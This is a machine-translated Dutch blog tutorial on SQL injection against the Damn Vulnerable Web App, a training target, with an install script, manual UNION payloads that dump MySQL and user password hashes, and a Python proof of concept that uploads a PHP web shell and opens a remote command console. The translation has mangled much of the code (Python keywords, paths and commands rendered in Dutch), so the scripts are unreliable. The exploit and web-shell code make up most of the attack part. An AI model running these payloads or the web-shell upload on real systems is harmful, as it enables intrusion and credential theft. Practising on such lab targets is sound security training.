Verdomd Kwetsbare Web App – SQL Injection
Auteur:
Ashfaq Ansari

Beoordeeld door:
Rating:
5
Op Oktober 1, 2012
Laatst gewijzigd:Januari 18, 2013

Overzicht:

Stap voor stap en geautomatiseerde aanpak voor SQL-injectie aanval te doen op de Vloek Kwetsbare Web Application.

Introductie

Verdomd Kwetsbare Web App (DVWA) is een PHP / MySQL web-applicatie die is verdomd kwetsbaar en kan worden benut easily.Its hoofddoelen zijn een hulpmiddel voor security professionals om hun vaardigheden en instrumenten te testen in een juridische omgeving, helpen webontwikkelaars beter inzicht in de processen van het beveiligen van webapplicaties en leraren helpen / studenten te onderwijzen / leren web applicatie security in een testomgeving.

Waarschuwing!

Verdomd Kwetsbare Web App is verdomd kwetsbaar! Doe het niet te uploaden naar uw hosting provider public_html map of elke werkende webserver als het zal worden gehackt. Ik raad het downloaden en installeren XAMPP op een lokale machine in je netwerk die uitsluitend wordt gebruikt voor het testen.
Wij nemen geen verantwoordelijkheid voor de manier waarop iemand gebruik maakt van Verdomd Kwetsbare Web App (DVWA). Wij hebben het oog op de toepassing duidelijk gemaakt en het moet niet kwaadwillig worden gebruikt. We hebben waarschuwingen en maatregelen genomen om te voorkomen dat gebruikers installeren DVWA op gegeven aan webservers leven. Als uw webserver gecompromitteerd wordt via een installatie van DVWA Het is niet onze verantwoordelijkheid is het de verantwoordelijkheid van de persoon die geupload en geïnstalleerd.

Installatie

Over het algemeen moeten we XAMPP server te verdomd kwetsbaar webapplicatie setup maar XAMPP server is niets anders dan een verzameling van Apache, SQL, Perl, PHP, OpenSSL en andere server-side software, maar BackTrack 5 heeft al deze software is geïnstalleerd. Het betekent dat er geen noodzaak om XAMPP te installeren op backtrack machine. Het enige wat u hoeft te doen is om Verdomme Vulnerable Web App te krijgen en zet het op de root directory van BackTrack 5.

Een prachtige bash script beschikbaar dat automatiseren het hele proces. Dankzij: Travis Phillips.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#/bin/bash
echo ""
echo "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
echo "# Verdomme Vulnerable Web App Installer Script #"
echo "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
echo "Gecodeerde Door: Travis Phillips"
echo "Website: http://theunl33t.blogspot.com\n"
echo "Gewijzigd door: Ashfaq Ansari\n"
echo "Website: http://hacksys.vfreaks.com\n"

echo "[*] Veranderen directory / var / www ..."
CD /was/www > /dev/nul
echo -en "Gedaan!\n"

echo -n "[*] Creëren DVWA directory ..."
mkdir dvwa > /dev/nul
echo -en "Gedaan!\n"

echo -n "[*] Overstappen naar Temp Directory ..."
CD /tmp
echo -en "Gedaan!\n"

echo "[*] Downloaden DVWA ..."
wget http://voxel.dl.sourceforge.net/project/dvwa/DVWA-1.0.7.zip
echo -en "Gedaan!\n"

echo -n "[*] DVWA uitpakken ..."
unzip DVWA-1.0.7.zip > /dev/nul
echo -en "Gedaan!\n"

echo -n "[*] Het zip-bestand te verwijderen ..."
rm DVWA-1.0.7.zip > /dev/nul
echo -en "Gedaan!\n"

echo -n "[*] Kopiëren dvwa om wortel van Web Directory ..."
cp -R dvwa/* /was/www/dvwa > /dev/nul
echo -en "Gedaan!\n"

echo -n "[*] Clearing Temp Directory ..."
rm -R dvwa > /dev/nul
echo -en "Gedaan!\n"

echo -n "[*] Toegang op afstand opnemen in php.ini ..."
cp /etc./php5/apache2/php.ini /etc./php5/apache2/php.ini1
dorst -en 'S / allow_url_include = Uit / allow_url_include = On /' /etc./php5/apache2/php.ini1 > /etc./php5/apache2/php.ini
rm /etc./php5/apache2/php.ini1
echo -en "Gedaan!\n"

echo -n "[*] Het inschakelen van schrijfrechten aan / var / www / dvwa / gehackt / uploaden ..."
chmod 777 /was/www/dvwa/gehackt/upload/
echo -en "Gedaan!\n"

echo -n "[*] Beginnend Web Service ..."
dienst apache2 start &> /dev/nul
echo -en "Gedaan!\n"

echo -n "[*] Beginnend MySQL ..."
dienst mysql start &> /dev/nul
echo -en "Gedaan!\n"

echo -n "[*] Updaten Config File ..."
cp /was/www/dvwa/config/config.inc.php /was/www/dvwa/config/config.inc.php1
dorst -en 'S /'\'\''/'\''Toor'\''/' /was/www/dvwa/config/config.inc.php1 > /was/www/dvwa/config/config.inc.php
rm /was/www/dvwa/config/config.inc.php1
echo -en "Gedaan!\n"

echo -n "[*] Updaten Database ..."
wget --post-data "Create_db = Create / Reset Database" http://127.0.0.1/dvwa/setup.php &> /dev/nul
mysql -u wortel --wachtwoord='Toor' -en 'Update dvwa.users ingesteld avatar = "/ gehackt / gebruikers / gordonb.jpg" waar de gebruiker = "gordonb";'
mysql -u wortel --wachtwoord='Toor' -en 'Update dvwa.users ingesteld avatar = "/ gehackt / gebruikers / smithy.jpg" waar de gebruiker = "smidse";'
mysql -u wortel --wachtwoord='Toor' -en 'Update dvwa.users ingesteld avatar = "/ gehackt / gebruikers / admin.jpg" waar de gebruiker = "admin";'
mysql -u wortel --wachtwoord='Toor' -en 'Update dvwa.users ingesteld avatar = "/ gehackt / gebruikers / pablo.jpg" waar de gebruiker = "pablo";'
mysql -u wortel --wachtwoord='Toor' -en 'Update dvwa.users ingesteld avatar = "/ hackable/users/1337.jpg" waar de gebruiker = "1337";'
echo -en "Gedaan!\n"

echo -en -n "[*] Beginnend Firefox te DVWA\nGebruikersnaam: admin\nWachtwoord: wachtwoord"
firefox http://127.0.0.1/dvwa/login.php &> /dev/nul &
echo -en "\nGedaan!\n"
echo -en "[\033[1;32m * 033[1;37m] DVWA Install Afgewerkt!\n"

DVWA is met succes geïnstalleerd, laten we verplaatsen naar SQL Injection. Er zijn drie SQL Injection verdiepingen op de Vloek Kwetsbare Web Application (Laag, Medium en High). In deze post zullen we uitleggen hoe de Low level te verslaan.

Kwetsbare Code

1
2
3
4
5
6
$id=$_GET['Id'];

$getid="SELECT voornaam, last_name FROM gebruikers WHERE user_id = '$id'";
$gevolg=mysql_query($getid) of de('
<pre>'
. mysql_error() . '</pre>
'
);

De bovenstaande code is kwetsbaar SQL Injection. Zoals je kunt zien is er geen sanering gebruikt, de variabele is gewoon recht in de SQL-query ingevoegd.

Laten we het bevestigen of het is kwetsbaar voor SQL Injection:

UserID: ‘

De pagina terug de volgende foutmelding:

Je hebt een fout in uw SQL-syntaxis; Raadpleeg de handleiding die overeenkomt met uw MySQL serverversie voor de juiste syntaxis te gebruiken in de buurt ””’ op lijn 1

Dit bevestigt dat het kwetsbaar is voor SQL Injection, eerste wat je moet doen is erachter te komen hoeveel kolommen er zijn:

UserID: ‘ ORDER BY 1#
UserID: ‘ ORDER BY 2#

Deze gewoon terug op dezelfde pagina.

UserID: ‘ ORDER BY 3#

Dan geeft dit ons een onschatbare foutmelding:

Unknown column '3’ in 'bestellen clausule’

Vandaar, Er zijn twee kolommen, die uiteraard de voornaam en achternaam kolommen als wanneer u de gebruikers-ID doorgeven: vormen een geldig gebruikers-ID (1) bijvoorbeeld je dit hoort:

ID: 1
Voornaam: admin
Achternaam: admin

Rechts, nu is het tijd om uit te vinden de naam van de database, tabelnaam, kolomnaam en alles wat nuttig en interessant. Eerste wat laat eerst eens uitzoeken van de database versie:

ID: ‘ UNION ALL SELECT 1,@@VERSION #
Voornaam: 1
Achternaam: 5.1.41-3ubuntu12.10

Dus het is met behulp van MySQL 5.1.41-3 op Ubuntu. Hiermee vindt de gebruiker de database wordt uitgevoerd als en de naam van de database hebben we te maken met:

ID: ‘ UNION ALL SELECT gebruiker(),databank()#
Voornaam: root @ localhost
Achternaam: dvwa

De database gebruiker is wortel en de databank wordt betreft is dvwa. Aangezien de gebruiker root laten dumpen MySQL hash:

ID: ‘ UNION ALL SELECT gebruiker,password FROM mysql.user #
Voornaam: wortel
Achternaam: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT gebruiker,password FROM mysql.user #
Voornaam: wortel
Achternaam: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT gebruiker,password FROM mysql.user #
Voornaam: wortel
Achternaam: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT gebruiker,password FROM mysql.user #
Voornaam: debian-sys-onderhoud
Achternaam: *8C4C424D182238AFBA8B217F692D07C952EF4087

ID: ‘ UNION ALL SELECT gebruiker,password FROM mysql.user #
Voornaam: wortel
Achternaam: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT gebruiker,password FROM mysql.user #
Voornaam: admin
Achternaam: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Wow! We kregen de wortel passord hash. We kunnen gebruik maken van John The Ripper om de hash te kraken.

We weten de naam van de database is dvwa. Laten we eens de naam van de tabel:

ID: ‘ UNION ALL SELECT table_schema,table_name FROM information_schema.tables WAAR table_schema LIKE '% dvwa%’ #
Voornaam: dvwa
Achternaam: gastenboek

ID: ‘ UNION ALL SELECT table_schema,table_name FROM information_schema.tables WAAR table_schema LIKE '% dvwa%’ #
Voornaam: dvwa
Achternaam: gebruikers

Er zijn twee tabellen in dvwa databank genoemd als gastenboek en gebruikers

Nu, laten we kolommen in vinden gebruikers tafel.

ID: ‘ UNION ALL SELECT table_schema, colom_naam FROM INFORMATION_SCHEMA.COLUMNS WAAR table_schema LIKE '% dvwa%’ #
Voornaam: dvwa
Achternaam: comment_id

ID: ‘ UNION ALL SELECT table_schema, colom_naam FROM INFORMATION_SCHEMA.COLUMNS WAAR table_schema LIKE '% dvwa%’ #
Voornaam: dvwa
Achternaam: reactie

ID: ‘ UNION ALL SELECT table_schema, colom_naam FROM INFORMATION_SCHEMA.COLUMNS WAAR table_schema LIKE '% dvwa%’ #
Voornaam: dvwa
Achternaam: naam

ID: ‘ UNION ALL SELECT table_schema, colom_naam FROM INFORMATION_SCHEMA.COLUMNS WAAR table_schema LIKE '% dvwa%’ #
Voornaam: dvwa
Achternaam: user_id

ID: ‘ UNION ALL SELECT table_schema, colom_naam FROM INFORMATION_SCHEMA.COLUMNS WAAR table_schema LIKE '% dvwa%’ #
Voornaam: dvwa
Achternaam: first_name

ID: ‘ UNION ALL SELECT table_schema, colom_naam FROM INFORMATION_SCHEMA.COLUMNS WAAR table_schema LIKE '% dvwa%’ #
Voornaam: dvwa
Achternaam: last_name

ID: ‘ UNION ALL SELECT table_schema, colom_naam FROM INFORMATION_SCHEMA.COLUMNS WAAR table_schema LIKE '% dvwa%’ #
Voornaam: dvwa
Achternaam: gebruiker

ID: ‘ UNION ALL SELECT table_schema, colom_naam FROM INFORMATION_SCHEMA.COLUMNS WAAR table_schema LIKE '% dvwa%’ #
Voornaam: dvwa
Achternaam: wachtwoord

ID: ‘ UNION ALL SELECT table_schema, colom_naam FROM INFORMATION_SCHEMA.COLUMNS WAAR table_schema LIKE '% dvwa%’ #
Voornaam: dvwa
Achternaam: avatar

Ontzagwekkend, laten we dumpen de gebruikersnaam en het wachtwoord van dvwa.users tafel. Hier gaan we.

ID: ‘ UNION ALL SELECT gebruiker, password FROM dvwa.users #
Voornaam: admin
Achternaam: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ‘ UNION ALL SELECT gebruiker, password FROM dvwa.users #
Voornaam: gordonb
Achternaam: e99a18c428cb38d5f260853678922e03

ID: ‘ UNION ALL SELECT gebruiker, password FROM dvwa.users #
Voornaam: 1337
Achternaam: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ‘ UNION ALL SELECT gebruiker, password FROM dvwa.users #
Voornaam: pablo
Achternaam: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ‘ UNION ALL SELECT gebruiker, password FROM dvwa.users #
Voornaam: smederij
Achternaam: 5f4dcc3b5aa765d61d8327deb882cf99

Job gedaan. We hebben met succes gedumpt de gebruikersgegevens. We kunnen ze te kraken met behulp van een MD5 hash cracker.

HackSys Team heeft een PoC gemaakt in Python die helpt bij het geautomatiseerde SQL Injection op DVWA en geeft een shell prompt waar we regelmatig shell commando's kan uitvoeren.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#!/usr / bin / python
#________________________________________________
#    Verdomd Kwetsbare Web Application - DVWA
#     SQL Injection Exploit aan RCE - PoC
#   door Ashfaq Ansari (hacksysteam@hotmail.com)                                            
#                                                                                          
#            (__)                                                                          
#            (Ltd)   http://hacksys.vfreaks.com /
#     /-------\/                                                                          
#    / |     ||                                                                            
#   *  ||----||                                                                            
#      ~~ ~~ Power door HackSys Team - Panthera
#________________________________________________
#
importeren sys, stopcontact, urllib, re, urllib2, getpass, koord, tijd, toevallig, base64
van optparse importeren OptionParser
van cookielib importeren CookieJar

descLogo = """
________________________________________________

     Verdomd Kwetsbare Web Application - DVWA
           SQL Injection aan RCE - PoC
   door Ashfaq Ansari (hacksysteam@hotmail.com)

            (__)
            (Ltd)  http://hacksys.vfreaks.com /
     /-------\/
    / |     ||
   *  ||----||
      ~~ ~~ Power door HackSys Team - Panthera
________________________________________________

"""


#Color variabelen te gebruiken met printopdracht
RED= "\033[31m" # rood
GROEN= "\033[32m" # groen
WHITE= "\033[0m" # wit
CYAN = "\033[36m" #cyaan
PURPLE = "\033[35m" #purper

#Variabelen
urlStart = "Beveiligingslekken / sqli / index.php?id ="
urlEnd = "&Submit = Verzend"
shellName = "Fd7cb4cb0031ba249"
agenten = ["Mozilla/4.0 (verenigbaar; MSIE 5.5; Windows NT 5.0)",
    "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
    "Google Chrome 0.2.149.29 (Windows XP)",
    "Opera 9.25 (Windows Vista)",
    "Mozilla/4.0 (verenigbaar; MSIE 7.0b; Windows NT 5.1)",
    "Opera/8.00 (Windows NT 5.1; U; in)"]
agent = toevallig.keuze(agenten)


#Gebruik help samenvatting
gebruik = CYAN + ". /% Prog [<opties>] -t [doel] -d [directory]"
gebruik += "\nVoorbeeld: ./%prog-p localhost:8080 -t 192.168.1.15:8080 -d / dvwa /"

#Parser opties
parser = OptionParser(gebruik=gebruik)
parser.add_option("P-", type="String",actie="Store", dest="Proxy",
                  helpen="HTTP-proxy <server:port>")
parser.add_option("T-", type="String", actie="Store", dest="Target",
                  helpen="The Target server <server:port>")
parser.add_option("-D", type="String", actie="Store", dest="Dirpath",
                  helpen="Directory pad naar de Vloek Vulnerable Web App")
(opties, args) = parser.parse_args()


#Het typen van tekst - Gewoon voor de lol
def typingText(tekstbericht, kleur):
 
  proberen:
    voor ik in tekstbericht:
      afdrukken kleur + "\b%s"%ik,
      sys.stdout.doorspoelen()
      tijd.slapen(0.020)
  behalve:
    passeren
 

indien alleen(sys.argv) < 5:
    typingText(descLogo, PURPLE)
    parser.print_help()
    sys.uitgang(1)
   

#Proxy handler
def getProxy():
 
    proberen:
        proxy_handler = urllib2.Proxy Handler({"Http": opties.volmacht})
    behalve(stopcontact.timeout):
            afdrukken RED + "\tProxy timed out ...\n"
            sys.uitgang(1)
    terugkeren proxy_handler


#Test proxyverbinding
def testProxy():
 
    afdrukken(CYAN + "[+] Testen proxy @% s ..." % (opties.volmacht))
    opener = urllib2.build_opener(getProxy())
   
    proberen:
      controleren = opener.open("Http://www.google.com").lezen()
    behalve:
      controleren = 0
      passeren
   
    indien controleren >= 1:
      afdrukken(GROEN + "\tProxy is gevonden om te werken ...\n")
    anders:
      afdrukken RED + "\tProxy is mislukt ... Verlaten!\n"
      sys.uitgang(1)


#Verkrijg de respons van de server
def getServerResponse(cj, targetURL, gegevens):
     
    indien opties.volmacht:
      proberen:
    opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
    opener.addheaders = [('User-agent', agent)]
    controleren = opener.open(targetURL, gegevens).lezen()
    terugkeren controleren
      behalve:
    afdrukken (RED + "\tProxyverbinding nagelaten afstand doel ...\n")
    sys.uitgang(1)
    anders:
      proberen:
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    opener.addheaders = [('User-agent', agent)]
    controleren = opener.open(targetURL, gegevens).lezen()
    terugkeren controleren
      behalve:
    afdrukken (RED + "\tTarget verbinding is mislukt, Controleer uw adres ...\n")
    sys.uitgang(1)


#Probeer in te loggen om Kwetsbaar Web Application Verdomme
def doLogin():
 
    afdrukken(CYAN + "[+] Probeert in te loggen op DVWA ...")
    targetURL = "Http://" + opties.doel + opties.dirpath + "Login.php"
    waarden = {'Username' : 'Admin', 'Wachtwoord' : 'Wachtwoord', 'Login' : 'Login'}
    gegevens = urllib.urlencode(waarden)
    cj = CookieJar()
   
    #Verkrijg de reactie van de server en opslaan in een variabele
    respHTML = getServerResponse(cj, targetURL, gegevens)
       
    indien niet re.zoeken("Aanmelden mislukt", respHTML):
      tijd.slapen(1)
      typingText("\tAuthenticatie succesvol ...\n\n", GROEN)
      terugkeren cj
    anders:
      tijd.slapen(1)
      typingText("\tAuthenticatie ontkend! Verlaten ...\n\n\n", RED)
      sys.uitgang(1)


#Probeer beveiligingsniveau van Verdomme Kwetsbare Web Application tamperthe
def lowSecurity(adminCookie):
 
    afdrukken(CYAN + "[+] Knoeien de beveiliging van DVWA ...")
    targetURL = "Http://" + opties.doel + opties.dirpath + "Security.php"
    waarden = {'Security' : 'Laag', 'Seclev_submit' : 'Verzenden'}
    gegevens = urllib.urlencode(waarden)
    cj = adminCookie #Gebruik van de cookie terug van doLogin() functie
   
    #Verkrijg de reactie van de server en opslaan in een variabele
    respHTML = getServerResponse(cj, targetURL, gegevens)
   
    indien re.zoeken("Security Level is momenteel <in>laag</in>", respHTML):
      tijd.slapen(1)
      typingText("\tSecurity level succesvol te laag ...\n\n", GROEN)
    anders:
      tijd.slapen(1)
      typingText("\tNiet in staat om het beveiligingsniveau te knoeien! Verlaten ...\n\n", RED)
      sys.uitgang(1)


#Controleer of het doel is kwetsbaar voor SQL-injectie
def testSQLinjection(adminCookie):
 
    afdrukken(CYAN + "[+] Controleren of het doel is kwetsbaar ...")
    injection_url = "1""
    targetURL = "Http://" + opties.doel + opties.dirpath + urlStart + injection_url + urlEnd
    gegevens = ""
   
    cj = adminCookie #Gebruik van de cookie terug van doLogin() functie

    #Verkrijg de reactie van de server en opslaan in een variabele
    respHTML = getServerResponse(cj, targetURL, gegevens)
   
    indien re.zoeken("Fout in uw SQL-syntaxis", respHTML):
      tijd.slapen(1)
      typingText("\tw00t -- Doel gevonden kwetsbaar te zijn ...\n\n", GROEN)
    anders:
      tijd.slapen(1)
      typingText("\to00w -- Doel is niet kwetsbaar! Verlaten ...\n\n", RED)    
      sys.uitgang(1)


#Zoek MySQL gegevens
def findMySQLInfo(adminCookie):
 
    afdrukken(CYAN + "[+] Retriving MySQL informatie ...")
    injection_url = "1" UNION ALL SELECT concat_ws(0X3B,0x4861636b537973205465616d,gebruiker(),databank(),versie(),0x4861636b537973205465616d)%2C2; #"
    targetURL = "Http://" + opties.doel + opties.dirpath + urlStart + injection_url + urlEnd
    gegevens = ""
   
    cj = adminCookie #Gebruik van de cookie terug van doLogin() functie

    #Verkrijg de reactie van de server en opslaan in een variabele
    respHTML = getServerResponse(cj, targetURL, gegevens)
   
    # Nu halen de interessante informatie
    get_secret_data = koord.vinden(respHTML,  "HackSys Team")
     
    # Als het doel is niet kwetsbaar exit
    indien get_secret_data == -1:
        typingText("\tOperatie is mislukt. Verlaten nu ...\n\n", RED)
        sys.uitgang(1)
         
    get_secret_data += 10
    new_html4= respHTML[get_secret_data :]
    new_get_secret_data4 = koord.vinden(new_html4,  "HackSys Team")
    new_html_5 = new_html4[:new_get_secret_data4]
             
    # Data werd ontvangen, nu formatteren en weer te
    formatted_output = Art.split(new_html_5,  ";")
    tijd.slapen(1)
    afdrukken GROEN + "\tMySQL database: ",  formatted_output[2]
    afdrukken GROEN + "\tMySQL Version : ",  formatted_output[3]
    afdrukken GROEN + "\tMySQL Database Gebruiker : ",  formatted_output[1]
    afdrukken ""
    terugkeren


#Proberen om het aantal records in de tabel users
def findNoOfRecordsInTable(adminCookie):
       
    injection_url = "1" UNION ALL SELECT 1% 2C COUNT(*)+van gebruikers% 3B% 23"
    targetURL = "Http://" + opties.doel + opties.dirpath + urlStart + injection_url + urlEnd
    gegevens = ""
   
    cj = adminCookie #Gebruik van de cookie terug van doLogin() functie

    #Verkrijg de reactie van de server en opslaan in een variabele
    respHTML = getServerResponse(cj, targetURL, gegevens)
   
    # Nu halen de interessante informatie
    get_secret_data = koord.vinden(respHTML,  "<br>Achternaam:")
    get_secret_data += 40    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = koord.vinden(new_html,  "</pre>\r\n\r\n\t</div>")  
    new_html_2 = new_html[:new_get_secret_data]

    # Data werd ontvangen, nu formatteren en weer te
    formatted_output = Art.split(new_html_2,  ": ")
    terugkeren formatted_output[2]
   

#Probeer de naam van gebruikersnaam en wachtwoord van gebruikers tafel dumpen
def findUserPasswords(adminCookie, index):
 
    injection_url = "1" UNION ALL SELECT 1% 2C concat_ws(0x3b,0x4861636b537973205465616d,user_id,first_name,last_name,user,password,0x4861636b537973205465616d)+Van gebruikers LIMIT " + Art(index) + "% 2C30% 3B% 23"
    targetURL = "Http://" + opties.doel + opties.dirpath + urlStart + injection_url + urlEnd
    gegevens = ""
   
    cj = adminCookie #Gebruik van de cookie terug van doLogin() functie

    #Verkrijg de reactie van de server en opslaan in een variabele
    respHTML = getServerResponse(cj, targetURL, gegevens)
   
    # Nu halen de interessante informatie
    get_secret_data = koord.vinden(respHTML,  "HackSys Team")
    get_secret_data += 10    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = koord.vinden(new_html,  "HackSys Team")    
    new_html_2 = new_html[:new_get_secret_data]

    # Data werd ontvangen, nu formatteren en weer te
    formatted_output = Art.split(new_html_2,  ";")
    tijd.slapen(1)
    afdrukken GROEN + "\tGebruikers-ID : ",  formatted_output[1]
    afdrukken GROEN + "\tVoornaam: ",  formatted_output[2]
    afdrukken GROEN + "\tAchternaam : ",  formatted_output[3]
    afdrukken GROEN + "\tGebruikersnaam: ",  formatted_output[4]
    afdrukken GROEN + "\tPassword Hash : ",  formatted_output[5]
    afdrukken ""


#Probeer een tinyShell uploaden voor interactieve aanval
def uploadShellViaSQLi(adminCookie):
 
    afdrukken(CYAN + "[+] Het uploaden van Shell via SQLi ...")
   
    #XAMPP Op Windows XP
    #injection_url = "1' UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:xampphtdocsdvwashell.php';#"

    #Linux
    injection_url = "1% 27 UNION ALL SELECT % 27% 27% 2C % 27 % 3C% 3Fphp systeem(base64_decode(%24_GET[%22cmd% 5D% 22% 29% 29% 3B % 3F% 3E% 27% 27% IN outfile 2Fvar% 2F% 2Fwww% 2Fdvwa" + shellName + ".php% 27% 3B% 23"
   
    targetURL = "Http://" + opties.doel + opties.dirpath + urlStart + injection_url + urlEnd
    gegevens = ""
   
    cj = adminCookie #Gebruik van de cookie terug van doLogin() functie

    #Verkrijg de reactie van de server en opslaan in een variabele
    respHTML = getServerResponse(cj, targetURL, gegevens)

    indien re.zoeken("<h3>Gebruikers-ID:</h3>", respHTML):
      tijd.slapen(1)
      typingText("\tw00t -- Shell geupload .. succes.\n\n", GROEN)
    elif re.zoeken("Er bestaat al</pre>", respHTML):
      tijd.slapen(1)
      typingText("\tw00t -- Shell bestaat al ...\n\n", GROEN)  
    anders:
      tijd.slapen(1)
      typingText("\to00w -- Niet in staat om de shell te uploaden ...\n\n", RED)
      sys.uitgang(1)


#Start interactieve aanval sessie
def interactiveAttack(adminCookie):
 
  afdrukken CYAN + "[+] Het invoeren van interactieve remote console (q voor quit)\n" + WHITE + "\n  HackSys Team - Panthera\n   Auteur: Ashfaq Ansari\n  hacksysteam@hotmail.com\n http://hacksys.vfreaks.com /\n\n"
  hn = GROEN + "% S @% s # " % (getpass.getuser(), opties.doel) + WHITE
  cmd = ""
  gegevens = ""
  cj = adminCookie
  terwijl cmd != 'Q':
    proberen:
      cmd = raw_input(hn)
      cmd64 = base64.b64encode(cmd)      
      targetURL = ("Http://%s% s% s.php?cmd =% s" % (opties.doel, opties.dirpath, shellName, cmd64))
      of = getServerResponse(cj, targetURL, cmd64)
      shellOutput = of.split("Admin")
      afdrukken WHITE + shellOutput[2]
    behalve:
      breken
 
  # zelfmoord
  rmShell = base64.b64encode("Rm% s.php" % (shellName))
  targetURL = ("Http://%s% s% s.php?cmd =% s" % (opties.doel, opties.dirpath, shellName, rmShell))
  of = getServerResponse(cj, targetURL, rmShell)

     
#Belangrijkste functie
def hoofd-():
 
  #Print de banner in Typing Tekst stijl
  typingText(descLogo, PURPLE)
 
  #Controleer en sluit proxyserver als opgegeven met-p argument
  indien opties.volmacht:
    testProxy()

  #Pak de admin koekje
  adminCookie = doLogin()
 
  #Sabotage het beveiligingsniveau
  lowSecurity(adminCookie)
 
  #Test SQL-injectie kwetsbaarheid
  testSQLinjection(adminCookie)
 
  #Dump MySQL gegevens
  findMySQLInfo(adminCookie)
 
  #Zoek Aantal records in tabel gebruikers
  totalRecords = int(findNoOfRecordsInTable(adminCookie))
 
  afdrukken(CYAN + "[+] Retriving Gebruikersnaam en wachtwoorden ...")
 
  voor index in reeks(1,totalRecords 1):
    #Dump gebruik wachtwoorden
    findUserPasswords(adminCookie, index)
 
  #Upload de tinyShell
  uploadShellViaSQLi(adminCookie)
 
  #Start interactieve aanval
  interactiveAttack(adminCookie)
 
indien __name__ == "__main__":
    hoofd-()

Download Verdomme Kwetsbare Web App – SQL Injection PoC

 

DVWA_SQLi.zip

 
Dank u voor het nemen van uw tijd om dit bericht te lezen. Als u een probleem geconfronteerd, aarzel dan niet om ons te schrijven op: hacksysteam@hotmail.com

 
 

178,062 totaal aantal vertoningen, 43 aantal vertoningen vandaag

De volgende twee tabbladen te veranderen hieronder inhoud.

Ashfaq Ansari

Beveiliging Onderzoeker
Ashfaq Ansari is de oprichter van HackSys Team codenaam "Panthera". Hij is een security-onderzoeker met ervaring in verschillende aspecten van informatiebeveiliging. Hij is auteur "HackSys Extreme Kwetsbare Driver" en "Shellcode of Death". Hij heeft ook geschreven en publiceerde diverse whitepapers op een laag level software uitbuiting. Zijn belangrijkste interesse ligt in "Low Level Exploitation", "Reverse Engineering", "Programma Analyse" en "Hybride Fuzzing". Hij is een fanboy van Kunstmatige Intelligentie en Machine Learning. Hij is het hoofdstuk voorsprong van null Pune.

Laatste berichten van Ashfaq Ansari (bekijk alle)

Geen Reacties op “Verdomd Kwetsbare Web App – SQL Injection”

Trackbacks / Pingbacks

  1. Verdomd Kwetsbare Web App - Local File Inclusion (LFI) | HackSys Team - Computer Security Research, Penetration Testing, Ethical Hacking, Windows Technische ondersteuning - [...] U hebt niet het eerste deel lezen, hier is de link: http://hacksys.vfreaks.com / pen-testing / verdomde-kwetsbaar-web-app-sql-injection.html [...]

Laat een reactie achter

Uw e-mailadres wordt niet gepubliceerd. Verplichte velden zijn gemarkeerd *